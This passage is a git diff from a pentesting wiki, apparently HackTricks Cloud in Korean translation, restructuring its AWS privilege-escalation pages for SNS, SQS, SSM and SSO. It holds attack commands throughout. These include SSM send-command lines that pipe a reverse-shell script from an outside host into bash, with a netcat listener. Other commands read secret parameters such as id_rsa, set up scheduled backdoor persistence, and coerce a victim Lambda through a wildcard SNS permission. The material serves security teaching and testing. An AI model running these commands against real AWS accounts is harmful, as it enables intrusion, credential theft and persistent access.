+"Action": "secretsmanager:GetSecretValue", +"Resource": "*" +} +] +} +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md deleted file mode 100644 index 2445c0a5a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SNS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### `sns:Publish` - -공격자는 악의적이거나 원치 않는 메시지를 SNS 주제로 전송할 수 있으며, 이는 데이터 손상, 의도하지 않은 작업의 트리거 또는 리소스 소모를 초래할 수 있습니다. -```bash -aws sns publish --topic-arn --message -``` -**잠재적 영향**: 취약점 악용, 데이터 손상, 의도하지 않은 행동 또는 리소스 고갈. - -### `sns:Subscribe` - -공격자는 SNS 주제에 구독할 수 있으며, 이로 인해 메시지에 대한 무단 접근을 얻거나 주제에 의존하는 애플리케이션의 정상적인 기능을 방해할 수 있습니다. -```bash -aws sns subscribe --topic-arn --protocol --endpoint -``` -**잠재적 영향**: 메시지에 대한 무단 접근(민감한 정보), 영향을 받는 주제에 의존하는 애플리케이션의 서비스 중단. - -### `sns:AddPermission` - -공격자는 무단 사용자 또는 서비스에 SNS 주제에 대한 접근 권한을 부여하여 추가 권한을 얻을 수 있습니다. -```css -aws sns add-permission --topic-arn --label --aws-account-id --action-name -``` -**잠재적 영향**: 승인되지 않은 사용자 또는 서비스에 의한 주제에 대한 무단 접근, 메시지 노출 또는 주제 조작, 주제에 의존하는 애플리케이션의 정상적인 기능 중단. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md new file mode 100644 index 000000000..da3fe8d80 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md @@ -0,0 +1,80 @@ +# AWS - SNS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +자세한 내용은 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### `sns:Publish` + +공격자는 SNS topic에 악성 또는 원치 않는 메시지를 보낼 수 있으며, 이는 데이터 손상, 의도하지 않은 동작 유발, 또는 리소스 고갈을 초래할 수 있습니다. +```bash +aws sns publish --topic-arn --message +``` +**Potential Impact**: 취약점 악용, 데이터 손상, 의도치 않은 동작 또는 자원 소진. + +### `sns:Subscribe` + +공격자는 SNS topic을 구독할 수 있어 메시지에 무단으로 접근하거나 해당 topic에 의존하는 애플리케이션의 정상 동작을 방해할 수 있습니다. +```bash +aws sns subscribe --topic-arn --protocol --endpoint +``` +**Potential Impact**: 메시지(민감한 정보 포함)에 대한 무단 접근, 영향을 받은 SNS topic에 의존하는 애플리케이션의 서비스 중단. + +### `sns:AddPermission` + +공격자는 권한이 없는 사용자나 서비스에 SNS topic에 대한 접근을 부여하여 잠재적으로 추가 권한을 획득할 수 있습니다. +```bash +aws sns add-permission --topic-arn --label --aws-account-id --action-name +``` +**Potential Impact**: 토픽에 대한 무단 접근, 메시지 노출 또는 무단 사용자나 서비스에 의한 토픽 조작, 토픽에 의존하는 애플리케이션의 정상 동작 중단. + + +### 와일드카드 SNS 권한을 악용하여 Lambda 호출 (no `SourceArn`) + +Lambda 함수의 리소스 기반 정책이 `sns.amazonaws.com`이 소스 토픽(`SourceArn`)을 제한하지 않고 호출하도록 허용하면, 어떤 SNS topic(심지어 다른 계정의 것이라도)도 구독하여 해당 함수를 트리거할 수 있습니다. 기본 SNS 권한을 가진 공격자는 공격자가 제어하는 입력으로 Lambda를 해당 IAM 역할로 실행하도록 강제할 수 있습니다. + +> [!TIP] +> TODO: 이것이 실제로 cross-account(교차 계정)에서 가능한가? + +전제 조건 +- 피해자 Lambda 정책에는 아래 예시와 같은 statement가 포함되어 있으며, `SourceArn` 조건이 없습니다: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": {"Service": "sns.amazonaws.com"}, +"Action": "lambda:InvokeFunction" +// No Condition/SourceArn restriction here +} +] +} +``` +악용 단계(동일 계정 또는 교차 계정) +```bash +# 1) Create a topic you control +ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text) + +# 2) Subscribe the victim Lambda to your topic +aws sns subscribe \ +--region us-east-1 \ +--topic-arn "$ATTACKER_TOPIC_ARN" \ +--protocol lambda \ +--notification-endpoint arn:aws:lambda:us-east-1::function: + +# 3) Publish an attacker-controlled message to trigger the Lambda +aws sns publish \ +--region us-east-1 \ +--topic-arn "$ATTACKER_TOPIC_ARN" \ +--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}' +``` +**Potential Impact**: 피해자 Lambda는 IAM role로 실행되어 attacker-controlled input을 처리합니다. 이로 인해 권한에 따라 함수가 민감한 작업(예: write to S3, access secrets, modify resources)을 수행하도록 악용될 수 있습니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md deleted file mode 100644 index 68a9d1fa2..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - SQS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### `sqs:AddPermission` - -공격자는 이 권한을 사용하여 새로운 정책을 생성하거나 기존 정책을 수정함으로써 무단 사용자 또는 서비스에 SQS 큐에 대한 접근 권한을 부여할 수 있습니다. 이로 인해 큐의 메시지에 대한 무단 접근이나 무단 엔티티에 의한 큐 조작이 발생할 수 있습니다. -```bash -cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label -``` -**잠재적 영향**: 큐에 대한 무단 접근, 메시지 노출 또는 무단 사용자 또는 서비스에 의한 큐 조작. - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -공격자는 SQS 큐에 악의적이거나 원치 않는 메시지를 보낼 수 있으며, 이는 데이터 손상, 의도하지 않은 작업 트리거 또는 리소스 소모를 초래할 수 있습니다. -```bash -aws sqs send-message --queue-url --message-body -aws sqs send-message-batch --queue-url --entries -``` -**잠재적 영향**: 취약점 악용, 데이터 손상, 의도하지 않은 행동 또는 리소스 고갈. - -### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` - -공격자는 SQS 큐에서 메시지를 수신, 삭제 또는 가시성을 수정할 수 있으며, 이로 인해 메시지 손실, 데이터 손상 또는 해당 메시지에 의존하는 애플리케이션의 서비스 중단이 발생할 수 있습니다. -```bash -aws sqs receive-message --queue-url -aws sqs delete-message --queue-url --receipt-handle -aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout -``` -**잠재적 영향**: 민감한 정보 도용, 메시지 손실, 데이터 손상, 및 영향을 받는 메시지에 의존하는 애플리케이션의 서비스 중단. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md new file mode 100644 index 000000000..43c1ad5bd --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md @@ -0,0 +1,40 @@ +# AWS - SQS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +For more information check: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### `sqs:AddPermission` + +공격자는 이 권한을 사용해 새로운 정책을 생성하거나 기존 정책을 수정하여 SQS 큐에 대한 무단 사용자나 서비스의 접근을 허용할 수 있습니다. 그 결과 큐에 있는 메시지에 대한 무단 접근이나 무단 주체에 의한 큐 조작이 발생할 수 있습니다. +```bash +aws sqs add-permission --queue-url --actions --aws-account-ids --label +``` +**잠재적 영향**: 승인되지 않은 사용자나 서비스가 큐에 무단으로 접근하여 메시지가 노출되거나 큐를 조작할 수 있습니다. + +### `sqs:SendMessage` , `sqs:SendMessageBatch` + +공격자는 SQS 큐에 악성 또는 원치 않는 메시지를 전송하여 데이터 손상, 의도치 않은 동작을 유발하거나 리소스를 소진시킬 수 있습니다. +```bash +aws sqs send-message --queue-url --message-body +aws sqs send-message-batch --queue-url --entries +``` +**잠재적 영향**: 취약점 악용, 데이터 손상, 의도치 않은 동작 또는 리소스 고갈. + +### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` + +공격자는 SQS queue의 메시지를 수신, 삭제하거나 가시성을 변경하여 메시지 손실, 데이터 손상 또는 해당 메시지에 의존하는 애플리케이션의 서비스 중단을 초래할 수 있습니다. +```bash +aws sqs receive-message --queue-url +aws sqs delete-message --queue-url --receipt-handle +aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout +``` +**잠재적 영향**: 민감한 정보 탈취, 메시지 손실, 데이터 손상 및 영향을 받는 메시지에 의존하는 애플리케이션의 서비스 중단. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md deleted file mode 100644 index ece53d082..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ /dev/null @@ -1,130 +0,0 @@ -# AWS - SSM Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -SSM에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### `ssm:SendCommand` - -**`ssm:SendCommand`** 권한이 있는 공격자는 **Amazon SSM Agent가 실행 중인 인스턴스에서 명령을 실행**하고 **그 안에서 실행 중인 IAM Role을 손상시킬 수 있습니다.** -```bash -# Check for configured instances -aws ssm describe-instance-information -aws ssm describe-sessions --state Active - -# Send rev shell command -aws ssm send-command --instance-ids "$INSTANCE_ID" \ ---document-name "AWS-RunShellScript" --output text \ ---parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" -``` -이미 손상된 EC2 인스턴스 내에서 권한 상승을 위해 이 기술을 사용하는 경우, 다음과 같이 로컬에서 rev shell을 캡처할 수 있습니다: -```bash -# If you are in the machine you can capture the reverseshel inside of it -nc -lvnp 4444 #Inside the EC2 instance -aws ssm send-command --instance-ids "$INSTANCE_ID" \ ---document-name "AWS-RunShellScript" --output text \ ---parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" -``` -**잠재적 영향:** SSM 에이전트가 실행 중인 인스턴스에 연결된 EC2 IAM 역할로 직접적인 권한 상승이 가능합니다. - -### `ssm:StartSession` - -**`ssm:StartSession`** 권한이 있는 공격자는 **Amazon SSM 에이전트가 실행 중인 인스턴스에서 SSH와 유사한 세션을 시작할 수 있으며**, **그 안에서 실행 중인 IAM 역할을 손상시킬 수 있습니다.** -```bash -# Check for configured instances -aws ssm describe-instance-information -aws ssm describe-sessions --state Active - -# Send rev shell command -aws ssm start-session --target "$INSTANCE_ID" -``` -> [!CAUTION] -> 세션을 시작하려면 **SessionManagerPlugin**이 설치되어 있어야 합니다: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) - -**잠재적 영향:** SSM 에이전트가 실행 중인 인스턴스에 연결된 EC2 IAM 역할로 직접 권한 상승. - -#### ECS로의 권한 상승 - -**ECS 작업**이 **`ExecuteCommand`가 활성화된 상태**로 실행될 때, 충분한 권한을 가진 사용자는 `ecs execute-command`를 사용하여 **컨테이너 내에서 명령을 실행**할 수 있습니다.\ -[**문서**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/)에 따르면, 이는 “_exec_“ 명령을 시작하는 데 사용하는 장치와 SSM 세션 관리자와 함께 대상 컨테이너 간에 안전한 채널을 생성하여 수행됩니다. (이 작업을 수행하려면 SSM 세션 관리자 플러그인이 필요합니다)\ -따라서 `ssm:StartSession` 권한이 있는 사용자는 해당 옵션이 활성화된 ECS 작업 내에서 **쉘을 얻을 수 있습니다**. -```bash -aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" -``` -![](<../../../images/image (185).png>) - -**Potential Impact:** `ExecuteCommand`가 활성화된 실행 중인 작업에 연결된 `ECS` IAM 역할로 직접적인 권한 상승. - -### `ssm:ResumeSession` - -**`ssm:ResumeSession`** 권한이 있는 공격자는 **연결이 끊긴** SSM 세션 상태에서 Amazon SSM Agent가 실행 중인 인스턴스에서 SSH와 유사한 세션을 재시작할 수 있으며, 그 안에서 실행 중인 IAM 역할을 **타락시킬** 수 있습니다. -```bash -# Check for configured instances -aws ssm describe-sessions - -# Get resume data (you will probably need to do something else with this info to connect) -aws ssm resume-session \ ---session-id Mary-Major-07a16060613c408b5 -``` -**잠재적 영향:** SSM 에이전트가 실행 중인 인스턴스에 연결된 EC2 IAM 역할로 직접 권한 상승이 가능합니다. - -### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) - -언급된 권한을 가진 공격자는 **SSM 매개변수**를 나열하고 **평문으로 읽을 수** 있습니다. 이러한 매개변수에서 종종 **민감한 정보**를 찾을 수 있습니다. 예를 들어 SSH 키나 API 키가 포함될 수 있습니다. -```bash -aws ssm describe-parameters -# Suppose that you found a parameter called "id_rsa" -aws ssm get-parameters --names id_rsa --with-decryption -aws ssm get-parameter --name id_rsa --with-decryption -``` -**잠재적 영향:** 매개변수 내에서 민감한 정보를 찾습니다. - -### `ssm:ListCommands` - -이 권한을 가진 공격자는 모든 **명령**을 나열할 수 있으며, 그 안에서 **민감한 정보**를 찾을 수 있기를 바랍니다. -``` -aws ssm list-commands -``` -**잠재적 영향:** 명령줄 내에서 민감한 정보를 찾습니다. - -### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) - -이 권한을 가진 공격자는 모든 **명령**을 나열하고 **출력**을 읽을 수 있으며, 이를 통해 **민감한 정보**를 찾을 수 있습니다. -```bash -# You can use any of both options to get the command-id and instance id -aws ssm list-commands -aws ssm list-command-invocations - -aws ssm get-command-invocation --command-id --instance-id -``` -**잠재적 영향:** 명령줄 출력에서 민감한 정보를 찾습니다. - -### ssm:CreateAssociation 사용 - -**`ssm:CreateAssociation`** 권한이 있는 공격자는 SSM에 의해 관리되는 EC2 인스턴스에서 명령을 자동으로 실행하기 위해 State Manager Association을 생성할 수 있습니다. 이러한 연관성은 고정된 간격으로 실행되도록 구성할 수 있어, 대화형 세션 없이 백도어와 같은 지속성을 유지하는 데 적합합니다. -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> 이 지속성 방법은 EC2 인스턴스가 Systems Manager에 의해 관리되고, SSM 에이전트가 실행 중이며, 공격자가 연관성을 생성할 권한이 있는 한 작동합니다. 대화형 세션이나 명시적인 ssm:SendCommand 권한이 필요하지 않습니다. **중요:** `--schedule-expression` 매개변수(예: `rate(30 minutes)`)는 AWS의 최소 간격인 30분을 준수해야 합니다. 즉시 또는 일회성 실행을 위해서는 `--schedule-expression`을 완전히 생략하십시오 — 연관성은 생성 후 한 번 실행됩니다. - -### Codebuild - -SSM을 사용하여 빌드 중인 codebuild 프로젝트에 접근할 수도 있습니다: - -{{#ref}} -aws-codebuild-privesc.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md new file mode 100644 index 000000000..fcda58cd4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md @@ -0,0 +1,130 @@ +# AWS - SSM Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +SSM에 대한 자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### `ssm:SendCommand` + +권한 **`ssm:SendCommand`**을 가진 공격자는 Amazon SSM Agent가 실행 중인 인스턴스에서 **execute commands in instances**할 수 있으며, 그 안에서 실행 중인 **compromise the IAM Role**할 수 있다. +```bash +# Check for configured instances +aws ssm describe-instance-information +aws ssm describe-sessions --state Active + +# Send rev shell command +aws ssm send-command --instance-ids "$INSTANCE_ID" \ +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +``` +이미 침해된 EC2 인스턴스 내부에서 이 기법을 사용해 권한을 상승시키려는 경우, 로컬에서 rev shell을 다음과 같이 캡처할 수 있습니다: +```bash +# If you are in the machine you can capture the reverseshel inside of it +nc -lvnp 4444 #Inside the EC2 instance +aws ssm send-command --instance-ids "$INSTANCE_ID" \ +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +``` +**잠재적 영향:** SSM Agents가 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 privesc. + +### `ssm:StartSession` + +권한 **`ssm:StartSession`**을 가진 공격자는 **Amazon SSM Agent가 실행 중인 인스턴스에서 SSH와 유사한 세션을 시작할 수** 있으며, 그 안에서 실행 중인 **IAM Role을 탈취**할 수 있습니다. +```bash +# Check for configured instances +aws ssm describe-instance-information +aws ssm describe-sessions --state Active + +# Send rev shell command +aws ssm start-session --target "$INSTANCE_ID" +``` +> [!CAUTION] +> 세션을 시작하려면 **SessionManagerPlugin**이 설치되어 있어야 합니다: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) + +**잠재적 영향:** SSM Agent가 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접 privesc. + +#### Privesc to ECS + +When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\ +According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin이 필요합니다)\ +따라서 `ssm:StartSession` 권한을 가진 사용자는 해당 옵션이 활성화된 경우 단순히 다음을 실행하여 **get a shell inside ECS tasks** 할 수 있습니다: +```bash +aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" +``` +![](<../../../images/image (185).png>) + +**잠재적 영향:** `ExecuteCommand`가 활성화된 실행 중인 태스크에 연결된 `ECS`IAM roles에 대한 직접적인 privesc. + +### `ssm:ResumeSession` + +권한 **`ssm:ResumeSession`**을 가진 공격자는 Amazon SSM Agent가 실행 중이며 SSM 세션 상태가 **연결이 끊긴** 인스턴스에서 재-**SSH와 유사한 세션을 시작**할 수 있으며, 그 내부에서 실행되는 **IAM Role을 탈취**할 수 있습니다. +```bash +# Check for configured instances +aws ssm describe-sessions + +# Get resume data (you will probably need to do something else with this info to connect) +aws ssm resume-session \ +--session-id Mary-Major-07a16060613c408b5 +``` +**잠재적 영향:** SSM Agents가 실행 중이고 disconected sessions가 있는 실행 중인 인스턴스에 연결된 EC2 IAM roles로의 직접 privesc. + +### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) + +언급된 권한을 가진 공격자는 **SSM parameters**를 나열하고 **평문으로 읽을 수 있습니다**. 이러한 파라미터에서는 종종 SSH keys나 API keys와 같은 **민감한 정보**를 찾을 수 있습니다. +```bash +aws ssm describe-parameters +# Suppose that you found a parameter called "id_rsa" +aws ssm get-parameters --names id_rsa --with-decryption +aws ssm get-parameter --name id_rsa --with-decryption +``` +**Potential Impact:** 매개변수 내에서 sensitive information을 찾을 수 있음. + +### `ssm:ListCommands` + +이 권한을 가진 공격자는 전송된 모든 **commands**를 나열하고, 그 안에서 **sensitive information**을 찾을 수 있다. +``` +aws ssm list-commands +``` +**잠재적 영향:** 명령줄 내부에서 민감한 정보를 찾을 수 있습니다. + +### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) + +이 권한을 가진 공격자는 전송된 모든 **명령**을 나열하고 생성된 **출력**을 읽어 **민감한 정보**를 찾아낼 수 있습니다. +```bash +# You can use any of both options to get the command-id and instance id +aws ssm list-commands +aws ssm list-command-invocations + +aws ssm get-command-invocation --command-id --instance-id +``` +**잠재적 영향:** 명령 출력에서 민감한 정보를 찾을 수 있습니다. + +### ssm:CreateAssociation 사용 + +권한 **`ssm:CreateAssociation`**를 가진 공격자는 State Manager Association을 생성하여 SSM으로 관리되는 EC2 인스턴스에서 명령을 자동으로 실행할 수 있습니다. 이러한 Association은 고정된 간격으로 실행되도록 구성할 수 있어 인터랙티브 세션 없이 backdoor-like persistence에 적합합니다. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> 이 지속성 방법은 EC2 인스턴스가 Systems Manager로 관리되고 SSM agent가 실행 중이며 공격자가 associations를 생성할 권한이 있는 한 작동합니다. 인터랙티브 세션이나 명시적인 ssm:SendCommand 권한을 필요로 하지 않습니다. **Important:** The `--schedule-expression` parameter (e.g., `rate(30 minutes)`) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit `--schedule-expression` entirely — the association will execute once after creation. + +### Codebuild + +빌드 중인 codebuild 프로젝트에 SSM을 이용해 접근할 수도 있습니다: + +{{#ref}} +../aws-codebuild-privesc/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md similarity index 57% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md index 22dd3b38f..21fb6c009 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md @@ -1,33 +1,33 @@ # AWS - SSO & identitystore Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## AWS Identity Center / AWS SSO AWS Identity Center / AWS SSO에 대한 자세한 정보는 다음을 확인하세요: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} > [!WARNING] -> 기본적으로 **Management Account**의 권한이 있는 **사용자**만 **IAM Identity Center**에 접근하고 **제어**할 수 있습니다.\ -> 다른 계정의 사용자는 해당 계정이 **Delegated Administrator**인 경우에만 허용할 수 있습니다.\ -> [자세한 내용은 문서를 확인하세요.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) +> 기본적으로, **Management Account**의 권한을 가진 **사용자**만 IAM Identity Center에 접근하고 제어할 수 있다는 점을 유의하세요.\ +> 다른 계정의 사용자는 해당 계정이 **Delegated Adminstrator.**인 경우에만 허용됩니다.\ +> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) ### ~~비밀번호 재설정~~ -이와 같은 경우 권한을 상승시키는 쉬운 방법은 사용자의 비밀번호를 재설정할 수 있는 권한을 가지는 것입니다. 불행히도 사용자의 비밀번호를 재설정하기 위해 사용자에게 이메일을 보내는 것만 가능하므로 사용자의 이메일에 접근할 필요가 있습니다. +이와 같은 경우에서 쉬운 방법은 'escalate privileges'를 위해 사용자의 비밀번호를 재설정할 수 있는 권한을 가지는 것입니다. 안타깝게도 실제로는 사용자에게 비밀번호 재설정용 이메일만 발송할 수 있으므로, 사용자의 이메일에 접근할 수 있어야 합니다. ### `identitystore:CreateGroupMembership` -이 권한을 사용하면 사용자를 그룹에 추가하여 그룹이 가진 모든 권한을 상속받을 수 있습니다. +이 권한으로 사용자를 그룹에 추가하면 해당 사용자는 그룹이 가진 모든 권한을 상속받게 됩니다. ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -이 권한을 가진 공격자는 자신의 통제 하에 있는 사용자에게 부여된 Permission Set에 추가 권한을 부여할 수 있습니다. +이 권한을 가진 공격자는 자신이 제어하는 사용자에게 부여된 Permission Set에 추가 권한을 부여할 수 있습니다 ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml @@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -이 권한을 가진 공격자는 자신의 통제 하에 있는 사용자에게 부여된 Permission Set에 추가 권한을 부여할 수 있습니다. +이 권한을 가진 공격자는 자신의 제어 하에 있는 사용자에게 부여된 Permission Set에 추가 권한을 부여할 수 있습니다. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -60,10 +60,10 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -이 권한을 가진 공격자는 자신의 통제 하에 있는 사용자에게 부여된 Permission Set에 추가 권한을 부여할 수 있습니다. +이 권한을 가진 공격자는 자신이 제어하는 사용자에게 부여된 Permission Set에 추가 권한을 부여할 수 있습니다. > [!WARNING] -> 이러한 권한을 악용하려면 영향을 받을 **모든 계정에 있는 고객 관리 정책의 이름**을 알아야 합니다. +> 이 권한을 악용하려면, 영향을 받게 될 모든 계정에 존재하는 **customer managed policy의 이름**을 알아야 합니다. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -73,40 +73,40 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:CreateAccountAssignment` -이 권한을 가진 공격자는 자신의 통제 하에 있는 사용자에게 계정에 대한 Permission Set을 부여할 수 있습니다. +이 권한을 가진 공격자는 자신이 제어하는 사용자에게 특정 계정에 Permission Set을 부여할 수 있습니다. ```bash aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id ``` ### `sso:GetRoleCredentials` -사용자에게 할당된 특정 역할 이름에 대한 STS 단기 자격 증명을 반환합니다. +사용자에게 할당된 특정 역할 이름에 대한 STS 단기 자격증명을 반환합니다. ``` aws sso get-role-credentials --role-name --account-id --access-token ``` -그러나 어떻게 액세스 토큰을 얻는지 잘 모르겠습니다 (TODO). +하지만 access token이 필요한데, 어떻게 얻는지 확실하지 않음 (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -이 권한을 가진 공격자는 지정된 권한 세트에서 AWS 관리 정책 간의 연관을 제거할 수 있습니다. **관리 정책(거부 정책)을 분리함으로써** 더 많은 권한을 부여하는 것이 가능합니다. +이 권한을 가진 공격자는 지정된 permission set에서 AWS managed policy와의 연관을 제거할 수 있다. **detaching a managed policy (deny policy)**를 통해 더 많은 권한을 부여할 수 있다. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -이 권한을 가진 공격자는 지정된 권한 세트에서 고객 관리 정책과의 연관성을 제거할 수 있습니다. **관리 정책(거부 정책)을 분리함으로써** 더 많은 권한을 부여할 수 있습니다. +이 권한을 가진 공격자는 지정된 permission set에서 Customer managed policy와의 연결을 제거할 수 있습니다. **detaching a managed policy (deny policy)**을 통해 더 많은 권한을 부여할 수 있습니다. ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` ### `sso:DeleteInlinePolicyFromPermissionSet` -이 권한을 가진 공격자는 권한 세트에서 인라인 정책의 권한을 제거할 수 있습니다. 인라인 정책(거부 정책)을 분리하여 **더 많은 권한을 부여하는** 것이 가능합니다. +이 권한을 가진 attacker는 permission set에서 inline policy의 권한을 제거할 수 있습니다. inline policy(deny policy)를 detach함으로써 **더 많은 권한을 부여할 수 있습니다**. ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` ### `sso:DeletePermissionBoundaryFromPermissionSet` -이 권한을 가진 공격자는 권한 세트에서 Permission Boundary를 